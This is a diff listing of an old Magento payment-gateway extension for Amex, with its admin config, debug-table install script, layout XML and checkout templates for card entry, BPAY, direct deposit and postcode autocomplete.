+ <frontend_type>text</frontend_type>
73
+ <sort_order>80</sort_order>
74
+ <show_in_default>1</show_in_default>
75
+ <show_in_website>1</show_in_website>
76
+ <show_in_store>0</show_in_store>
77
+ </api_url>
78
+ <!--<test_gateway translate="label">
79
+ <label>Use test gateway</label>
80
+ <frontend_type>select</frontend_type>
81
+ <source_model>adminhtml/system_config_source_yesno</source_model>
82
+ <sort_order>90</sort_order>
83
+ <show_in_default>1</show_in_default>
84
+ <show_in_website>1</show_in_website>
85
+ <show_in_store>0</show_in_store>
86
+ </test_gateway>-->
87
+ <order_status translate="label">
88
+ <label>New order status</label>
89
+ <frontend_type>select</frontend_type>
90
+ <source_model>adminhtml/system_config_source_order_status_processing</source_model>
91
+ <sort_order>100</sort_order>
92
+ <show_in_default>1</show_in_default>
93
+ <show_in_website>1</show_in_website>
94
+ <show_in_store>0</show_in_store>
95
+ </order_status>
96
+ <allowspecific translate="label">
97
+ <label>Payment from applicable countries</label>
98
+ <frontend_type>allowspecific</frontend_type>
99
+ <sort_order>110</sort_order>
100
+ <source_model>adminhtml/system_config_source_payment_allspecificcountries</source_model>
101
+ <show_in_default>1</show_in_default>
102
+ <show_in_website>1</show_in_website>
103
+ <show_in_store>1</show_in_store>
104
+ </allowspecific>
105
+ <specificcountry translate="label">
106
+ <label>Payment from Specific countries</label>
107
+ <frontend_type>multiselect</frontend_type>
108
+ <sort_order>120</sort_order>
109
+ <source_model>adminhtml/system_config_source_country</source_model>
110
+ <show_in_default>1</show_in_default>
111
+ <show_in_website>1</show_in_website>
112
+ <show_in_store>1</show_in_store>
113
+ </specificcountry>
114
+ </fields>
115
+ </amex_server>
116
+ </groups>
117
+ </payment>
118
+ </sections>
119
+ </config>
app/code/local/ND/Amex/sql/migsvpc_setup/mysql4-install-0.1.0.php ADDED
@@ -0,0 +1,41 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * ND Amex payment gateway
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so you can be sent a copy immediately.
14
+ *
15
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
16
+ *
17
+ * @category ND
18
+ * @package ND_Amex
19
+ * @copyright Copyright (c) 2010 ND Amex
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+
23
+ $installer = $this;
24
+
25
+ $installer->startSetup();
26
+
27
+ $installer->run("
28
+
29
+ -- DROP TABLE IF EXISTS `{$this->getTable('amex/api_debug')}`;
30
+ CREATE TABLE `{$this->getTable('amex/api_debug')}` (
31
+ `debug_id` int(10) unsigned NOT NULL auto_increment,
32
+ `debug_at` timestamp NOT NULL default CURRENT_TIMESTAMP on update CURRENT_TIMESTAMP,
33
+ `request_body` text,
34
+ `response_body` text,
35
+ PRIMARY KEY (`debug_id`),
36
+ KEY `debug_at` (`debug_at`)
37
+ ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
38
+
39
+ ");
40
+
41
+ $installer->endSetup();
app/design/frontend/default/default/layout/amex.xml ADDED
@@ -0,0 +1,50 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?xml version="1.0"?>
2
+ <!--
3
+ /**
4
+ * ND Extension
5
+ *
6
+ * NOTICE OF LICENSE
7
+ *
8
+ * This source file is subject to the Open Software License (OSL 3.0)
9
+ * that is bundled with this package in the file LICENSE.txt.
10
+ * It is also available through the world-wide-web at this URL:
11
+ * http://opensource.org/licenses/osl-3.0.php
12
+ * If you did not receive a copy of the license and are unable to
13
+ * obtain it through the world-wide-web, please send an email
14
+ * to license@magentocommerce.com so we can send you a copy immediately.
15
+ *
16
+ * @category ND
17
+ * @package ND_Amex
18
+ * @author Chris Norton
19
+ * @copyright Copyright (c) 2008 ND amex
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+ -->
23
+ <layout version="0.1.0">
24
+ <amex_server_failure>
25
+ <reference name="root">
26
+ <action method="setTemplate"><template>page/2columns-right.phtml</template></action>
27
+ </reference>
28
+ <reference name="content">
29
+ <block type="amex/server_failure" name="amex_server_failure" template="amex/server/failure.phtml"></block>
30
+ </reference>
31
+ </amex_server_failure>
32
+
33
+ <amex_server_response>
34
+ <!--<reference name="root">
35
+ <action method="setTemplate"><template>page/2columns-right.phtml</template></action>
36
+ </reference>-->
37
+ <reference name="content">
38
+ <block type="amex/server_response" name="amex_server_response" template="amex/merchant/response.phtml"></block>
39
+ </reference>
40
+ </amex_server_response>
41
+
42
+ <amex_merchant_failure>
43
+ <reference name="root">
44
+ <action method="setTemplate"><template>page/2columns-right.phtml</template></action>
45
+ </reference>
46
+ <reference name="content">
47
+ <block type="amex/merchant_failure" name="amex_merchant_failure" template="amex/merchant/failure.phtml"></block>
48
+ </reference>
49
+ </amex_merchant_failure>
50
+ </layout>
app/design/frontend/default/default/template/amex/form.phtml ADDED
@@ -0,0 +1,93 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * ND MigsVpc payment gateway
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so you can be sent a copy immediately.
14
+ *
15
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
16
+ *
17
+ * @category Fontis
18
+ * @package Fontis_EwayAu
19
+ * @copyright Copyright (c) 2010 Fontis (http://www.fontis.com.au)
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+ ?>
23
+ <script type="text/javascript">
24
+ Validation.creditCartTypes.JCB = [new RegExp('^(35[0-9]{14}|(2131|1800)[0-9]{11})$'), new RegExp('^([0-9]{3})?$'), true];
25
+ Validation.creditCartTypes.DICL = [new RegExp('^((300|305)[0-9]{11}|36[0-9]{12}|55[0-9]{14})$'), new RegExp('^([0-9]{3})?$'), false];
26
+ </script>
27
+ <fieldset class="form-list">
28
+ <?php $_code=$this->getMethodCode() ?>
29
+ <ul id="payment_form_<?php echo $_code ?>" style="display:none">
30
+ <li>
31
+ <div class="input-box">
32
+ <label for="<?php echo $_code ?>_cc_owner"><?php echo $this->__('Name on Card') ?> <span class="required">*</span></label><br/>
33
+ <input type="text" title="<?php echo $this->__('Name on Card') ?>" class="required-entry input-text" id="<?php echo $_code ?>_cc_owner" name="payment[cc_owner]" value="<?php echo $this->htmlEscape($this->getInfoData('cc_owner')) ?>"/>
34
+ </div>
35
+ </li>
36
+ <li>
37
+ <div class="generic-select-input input-box">
38
+ <p class="columnSelectedDeposit">--Select Card Type--</p>
39
+ <label for="<?php echo $_code ?>_cc_type"><?php echo $this->__('Credit Card Type') ?> <span class="required">*</span></label><br />
40
+ <select id="<?php echo $_code ?>_cc_type" name="payment[cc_type]" class="required-entry validate-cc-type-select">
41
+ <option value="">--<?php echo $this->__('Please Select') ?>--</option>
42
+ <?php $_ccType = $this->getInfoData('cc_type') ?>
43
+ <?php foreach ($this->getCcAvailableTypes() as $_typeCode => $_typeName): ?>
44
+ <option value="<?php echo $_typeCode ?>" <?php if($_typeCode==$_ccType): ?>selected="selected"<?php endif ?>><?php echo $_typeName ?></option>
45
+ <?php endforeach ?>
46
+ </select>
47
+ </div>
48
+ </li>
49
+ <li>
50
+ <div class="input-box">
51
+ <label for="<?php echo $_code ?>_cc_number"><?php echo $this->__('Credit Card Number') ?> <span class="required">*</span></label><br/>
52
+ <input type="text" id="<?php echo $_code ?>_cc_number" name="payment[cc_number]" title="<?php echo $this->__('Credit Card Number') ?>" class="input-text validate-cc-number validate-cc-type" value="" />
53
+ </div>
54
+ </li>
55
+ <li>
56
+ <div class="input-box">
57
+ <label for="<?php echo $_code ?>_expiration"><?php echo $this->__('Expiration Date') ?> <span class="required">*</span></label><br />
58
+ <div class="v-fix">
59
+ <select id="<?php echo $_code ?>_expiration" style="width:140px;" name="payment[cc_exp_month]" class="required-entry">
60
+ <?php $_ccExpMonth = $this->getInfoData('cc_exp_month') ?>
61
+ <?php foreach ($this->getCcMonths() as $k=>$v): ?>
62
+ <option value="<?php echo $k?$k:'' ?>" <?php if($k==$_ccExpMonth): ?>selected="selected"<?php endif ?>><?php echo $v ?></option>
63
+ <?php endforeach ?>
64
+ </select>
65
+ </div>
66
+ <div class="v-fix" style="padding-left:5px;">
67
+ <?php $_ccExpYear = $this->getInfoData('cc_exp_year') ?>
68
+ <select id="<?php echo $_code ?>_expiration_yr" style="width:103px;" name="payment[cc_exp_year]" class="required-entry">
69
+ <?php foreach ($this->getCcYears() as $k=>$v): ?>
70
+ <option value="<?php echo $k?$k:'' ?>" <?php if($k==$_ccExpYear): ?>selected="selected"<?php endif ?>><?php echo $v ?></option>
71
+ <?php endforeach ?>
72
+ </select>
73
+ </div>
74
+ </div>
75
+ </li>
76
+ <?php if($this->hasVerification()): ?>
77
+ <li>
78
+ <div class="input-box">
79
+ <label for="<?php echo $_code ?>_cc_cid"><?php echo $this->__('Card Verification Number') ?> <span class="required">*</span></label><br />
80
+ <div class="v-fix"><input type="text" title="<?php echo $this->__('Card Verification Number') ?>" class="required-entry input-text validate-cc-cvn" id="<?php echo $_code ?>_cc_cid" name="payment[cc_cid]" style="width:3em;" value="" /></div>
81
+ &nbsp;
82
+ <a href="#" class="cvv-what-is-this"><?php echo $this->__('What is this?') ?></a>
83
+ </div>
84
+ </li>
85
+ <?php endif; ?>
86
+ </ul>
87
+ </fieldset>
88
+ <!--<script type="text/javascript">
89
+ Event.observe($('<?php echo $_code ?>_cc_number'), 'onkeyup', autoSelectCcType(ele));
90
+ function autoSelectCcType(ele) {
91
+ alert(ele.value);
92
+ }
93
+ </script>-->
app/design/frontend/default/default/template/amex/info.phtml ADDED
@@ -0,0 +1,30 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * ND MigsVpc payment gateway
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so you can be sent a copy immediately.
14
+ *
15
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
16
+ *
17
+ * @category Fontis
18
+ * @package Fontis_EwayAu
19
+ * @copyright Copyright (c) 2010 Fontis (http://www.fontis.com.au)
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+ ?>
23
+ <?php if($_info = $this->getInfo()): ?>
24
+ <?php echo $this->__('Name on the Card: %s', $this->htmlEscape($this->getInfo()->getCcOwner())) ?><br />
25
+ <?php echo $this->__('Credit Card Type: %s', $this->htmlEscape($this->getCcTypeName())) ?><br />
26
+ <?php echo $this->__('Credit Card Number: xxxx-%s', $this->htmlEscape($this->getInfo()->getCcLast4())) ?><br />
27
+ <?php echo $this->__('Expiration Date: %s/%s', $this->htmlEscape($this->getCcExpMonth()), $this->htmlEscape($this->getInfo()->getCcExpYear())) ?>
28
+ <?php else: ?>
29
+
30
+ <?php endif; ?>
app/design/frontend/default/default/template/amex/method/payment/bpay/form.phtml ADDED
@@ -0,0 +1,32 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Fontis Australia Extension
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * @category Fontis
16
+ * @package Fontis_Australia
17
+ * @author Chris Norton
18
+ * @copyright Copyright (c) 2008 Fontis Pty. Ltd. (http://www.fontis.com.au)
19
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
20
+ */
21
+ ?>
22
+ <fieldset class="form-list">
23
+ <ul id="payment_form_<?php echo $this->getMethodCode(); ?>" style="display:none">
24
+ <li>
25
+ <?php if ($this->getMethod()->getMessage()): ?>
26
+ <div class="input-box">
27
+ <p><?php echo $this->getMethod()->getMessage(); ?></p>
28
+ </div>
29
+ <?php endif; ?>
30
+ </li>
31
+ </ul>
32
+ </fieldset>
app/design/frontend/default/default/template/amex/method/payment/bpay/info.phtml ADDED
@@ -0,0 +1,26 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Fontis Australia Extension
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * @category Fontis
16
+ * @package Fontis_Australia
17
+ * @author Chris Norton
18
+ * @copyright Copyright (c) 2008 Fontis Pty. Ltd. (http://www.fontis.com.au)
19
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
20
+ */
21
+ ?>
22
+ <?php if($this->getParentBlock() && $this->getParentBlock()->getModuleName() == 'Mage_Checkout'): ?>
23
+ <p><?php echo $this->getMethod()->getTitle() ?></p>
24
+ <?php else: ?>
25
+ <?php echo Mage::helper('australia/bpay')->bpayInfoBlock($this->getMethod()->getBillerCode(), $this->getMethod()->getRef()); ?>
26
+ <?php endif; ?>
app/design/frontend/default/default/template/amex/method/payment/bpay/success.phtml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Fontis Australia Extension
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * @category Fontis
16
+ * @package Fontis_Australia
17
+ * @author Chris Norton
18
+ * @copyright Copyright (c) 2009 Fontis Pty. Ltd. (http://www.fontis.com.au)
19
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
20
+ */
21
+ ?>
22
+ <?php
23
+ $order = Mage::getModel('sales/order')->loadByIncrementId($this->getOrderId());
24
+ $payment = $order->getPayment();
25
+ ?>
26
+ <?php if($payment->getMethod() == 'bpay'): ?>
27
+ <?php
28
+ $bpay = Mage::getModel('australia/payment_bpay');
29
+ $data = array(
30
+ 'biller_code' => $bpay->getBillerCode(),
31
+ 'ref' => $bpay->getRef()
32
+ );
33
+ $payment->setAdditionalData(serialize($data));
34
+ $payment->save();
35
+
36
+ $order->addStatusToHistory('pending_bpay', 'Order placed with BPAY', false);
37
+ $order->save();
38
+ ?>
39
+ <?php echo Mage::helper('australia/bpay')->bpayInfoBlock($data['biller_code'], $data['ref']); ?>
40
+ <?php endif; ?>
app/design/frontend/default/default/template/amex/method/payment/directdeposit/form.phtml ADDED
@@ -0,0 +1,41 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Fontis Australia Extension
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * @category Fontis
16
+ * @package Fontis_Australia
17
+ * @author Chris Norton
18
+ * @copyright Copyright (c) 2008 Fontis Pty. Ltd. (http://www.fontis.com.au)
19
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
20
+ */
21
+ ?>
22
+ <fieldset class="form-list">
23
+ <ul id="payment_form_<?php echo $this->getMethodCode() ?>" style="display:none">
24
+ <li>
25
+ <div class="input-box">
26
+ <?php if ($this->getMethod()->getAccountName()): ?>
27
+ <?php echo $this->__('<label>Account Name</label>: %s', $this->getMethod()->getAccountName()) ?><br />
28
+ <?php endif;?>
29
+ <?php if ($this->getMethod()->getAccountBSB()): ?>
30
+ <?php echo $this->__('<label>Account BSB</label>: %s', $this->getMethod()->getAccountBSB()) ?><br />
31
+ <?endif;?>
32
+ <?php if ($this->getMethod()->getAccountNumber()): ?>
33
+ <?php echo $this->__('<label>Account Number</label>: %s', $this->getMethod()->getAccountNumber()) ?><br />
34
+ <?php endif;?>
35
+ <?php if ($this->getMethod()->getMessage()): ?>
36
+ <p><?php echo $this->__('%s', $this->getMethod()->getMessage()); ?></p>
37
+ <?php endif;?>
38
+ </div>
39
+ </li>
40
+ </ul>
41
+ </fieldset>
app/design/frontend/default/default/template/amex/method/payment/directdeposit/info.phtml ADDED
@@ -0,0 +1,28 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Fontis Australia Extension
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * @category Fontis
16
+ * @package Fontis_Australia
17
+ * @author Chris Norton
18
+ * @copyright Copyright (c) 2008 Fontis Pty. Ltd. (http://www.fontis.com.au)
19
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
20
+ */
21
+ ?>
22
+ <p><?php echo $this->getMethod()->getTitle() ?>
23
+ <?php //if($this->getInfo()->getAdditionalData()): ?>
24
+ <?php if($this->getAccountName()): ?><br /><?php echo $this->__('Account Name: %s', $this->getAccountName()); ?><?php endif; ?>
25
+ <?php if($this->getAccountBSB()): ?><br /><?php echo $this->__('Account BSB: %s', $this->getAccountBSB()); ?><?php endif; ?>
26
+ <?php if($this->getAccountNumber()): ?><br /><?php echo $this->__('Account Number: %s', $this->getAccountNumber()); ?><?php endif; ?>
27
+ <?php //endif;?>
28
+ </p>
app/design/frontend/default/default/template/amex/method/payment/directdeposit/success.phtml ADDED
@@ -0,0 +1,38 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Fontis Australia Extension
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * @category Fontis
16
+ * @package Fontis_Australia
17
+ * @author Chris Norton
18
+ * @copyright Copyright (c) 2009 Fontis Pty. Ltd. (http://www.fontis.com.au)
19
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
20
+ */
21
+ ?>
22
+ <?php
23
+ $order = Mage::getModel('sales/order')->loadByIncrementId($this->getOrderId());
24
+ $payment = $order->getPayment();
25
+ ?>
26
+ <?php if($payment->getMethod() == 'directdeposit_au'): ?>
27
+ <?php
28
+ $order->addStatusToHistory('pending_deposit', 'Order placed with Direct Deposit', false);
29
+ $order->save();
30
+ $data = @unserialize($payment->getAdditionalData());
31
+ ?>
32
+ <div id="directdeposit_au_success">
33
+ <p class="message"><?php echo $this->__('Please use the following details to make payment:'); ?></p>
34
+ <?php if($data['account_name']): ?><br /><b><?php echo $this->__('Account Name: '); ?></b> <?php echo $data['account_name']; ?><?php endif; ?>
35
+ <?php if($data['account_bsb']): ?><br /><b><?php echo $this->__('Account BSB: '); ?></b> <?php echo $data['account_bsb']; ?><?php endif; ?>
36
+ <?php if($data['account_number']): ?><br /><b><?php echo $this->__('Account Number: '); ?></b> <?php echo $data['account_number']; ?><?php endif; ?>
37
+ </div>
38
+ <?php endif; ?>
app/design/frontend/default/default/template/amex/method/postcode-checkout.phtml ADDED
@@ -0,0 +1,84 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Fontis Australia Extension
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * @category Fontis
16
+ * @package Fontis_Australia
17
+ * @author Chris Norton
18
+ * @copyright Copyright (c) 2008 Fontis Pty. Ltd. (http://www.fontis.com.au)
19
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
20
+ */
21
+ ?>
22
+ <script type="text/javascript">
23
+
24
+ //============ Billing ============//
25
+ var autocomplete_city_billing = new Element('div', { id: 'autocomplete_city_billing', 'class': 'search-autocomplete' });
26
+ $('billing:city').parentNode.appendChild(autocomplete_city_billing);
27
+
28
+ function updateAddressBilling(text, item) {
29
+ // Update state and postcode fields
30
+ var id = item.id;
31
+ var tokens = id.split('-');
32
+
33
+ // Assume item at index 1 is region_id, item at index 3 is postcode
34
+ $('billing:region_id').value = tokens[1];
35
+ $('billing:postcode').value = tokens[3];
36
+ }
37
+
38
+ // Create the autocompleter and assign it to a variable for future use.
39
+ var completer = new Ajax.Autocompleter("billing:city", "autocomplete_city_billing", "<?=$this->helper('australia')->getCitySuggestUrl();?>", {
40
+ afterUpdateElement: updateAddressBilling,
41
+ minChars: 2,
42
+ parameters: 'country=' + $F('billing:country_id')
43
+ });
44
+
45
+ // Detect when the country has changed and update the parameters sent by the autocompleter.
46
+ $('billing:country_id').observe('change', function() {
47
+ completer = new Ajax.Autocompleter("billing:city", "autocomplete_city_billing", "<?=$this->helper('australia')->getCitySuggestUrl();?>", {
48
+ afterUpdateElement: updateAddressBilling,
49
+ minChars: 2,
50
+ parameters: 'country=' + $F('billing:country_id')
51
+ });
52
+ });
53
+
54
+ //============ Shipping ============//
55
+ var autocomplete_city_shipping = new Element('div', { id: 'autocomplete_city_shipping', 'class': 'search-autocomplete' });
56
+ $('shipping:city').parentNode.appendChild(autocomplete_city_shipping);
57
+
58
+ function updateAddressShipping(text, item) {
59
+ // Update state and postcode fields
60
+ var id = item.id;
61
+ var tokens = id.split('-');
62
+
63
+ // Assume item at index 1 is region_id, item at index 3 is postcode
64
+ $('shipping:region_id').value = tokens[1];
65
+ $('shipping:postcode').value = tokens[3];
66
+ }
67
+
68
+ // Create the autocompleter and assign it to a variable for future use.
69
+ var completer = new Ajax.Autocompleter("shipping:city", "autocomplete_city_shipping", "<?=$this->helper('australia')->getCitySuggestUrl();?>", {
70
+ afterUpdateElement: updateAddressShipping,
71
+ minChars: 2,
72
+ parameters: 'country=' + $F('shipping:country_id')
73
+ });
74
+
75
+ // Detect when the country has changed and update the parameters sent by the autocompleter.
76
+ $('shipping:country_id').observe('change', function() {
77
+ completer = new Ajax.Autocompleter("shipping:city", "autocomplete_city_shipping", "<?=$this->helper('australia')->getCitySuggestUrl();?>", {
78
+ afterUpdateElement: updateAddressShipping,
79
+ minChars: 2,
80
+ parameters: 'country=' + $F('shipping:country_id')
81
+ });
82
+ });
83
+
84
+ </script>
app/design/frontend/default/default/template/amex/method/postcode.phtml ADDED
@@ -0,0 +1,55 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Fontis Australia Extension
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * @category Fontis
16
+ * @package Fontis_Australia
17
+ * @author Chris Norton
18
+ * @copyright Copyright (c) 2008 Fontis Pty. Ltd. (http://www.fontis.com.au)
19
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
20
+ */
21
+ ?>
22
+ <script type="text/javascript">
23
+
24
+ // Create and insert the div that will hold the list of autocomplete items. This
25
+ // is added to the DOM immediately following the #city field.
26
+ var autocomplete_city = new Element('div', { id: 'autocomplete_city', 'class': 'search-autocomplete' });
27
+ $('city').parentNode.appendChild(autocomplete_city);
28
+
29
+ function updateAddress(text, item) {
30
+ // Update state and postcode fields
31
+ var id = item.id;
32
+ var tokens = id.split('-');
33
+
34
+ // Assume item at index 1 is region_id, item at index 3 is postcode
35
+ $('region_id').value = tokens[1];
36
+ $('zip').value = tokens[3];
37
+ }
38
+
39
+ // Create the autocompleter and assign it to a variable for future use.
40
+ var completer = new Ajax.Autocompleter("city", "autocomplete_city", "<?=$this->helper('australia')->getCitySuggestUrl();?>", {
41
+ afterUpdateElement: updateAddress,
42
+ minChars: 2,
43
+ parameters: 'country=' + $F('country')
44
+ });
45
+
46
+ // Detect when the country has changed and update the parameters sent by the autocompleter.
47
+ $('country').observe('change', function() {
48
+ completer = new Ajax.Autocompleter("city", "autocomplete_city", "<?=$this->helper('australia')->getCitySuggestUrl();?>", {
49
+ afterUpdateElement: updateAddress,
50
+ minChars: 2,
51
+ parameters: 'country=' + $F('country')
52
+ });
53
+ });
54
+
55
+ </script>
app/design/frontend/default/default/template/amex/server/form.phtml ADDED
@@ -0,0 +1,30 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Fontis eWAY Australia payment gateway
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so you can be sent a copy immediately.
14
+ *
15
+ * Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
16
+ *
17
+ * @category Fontis
18
+ * @package Fontis_EwayAu
19
+ * @copyright Copyright (c) 2010 Fontis (http://www.fontis.com.au)
20
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
21
+ */
22
+ ?>
23
+ <fieldset class="form-list">
24
+ <?php $_code=$this->getMethodCode() ?>
25
+ <ul id="payment_form_<?php echo $_code ?>" style="display:none">
26
+ <li>
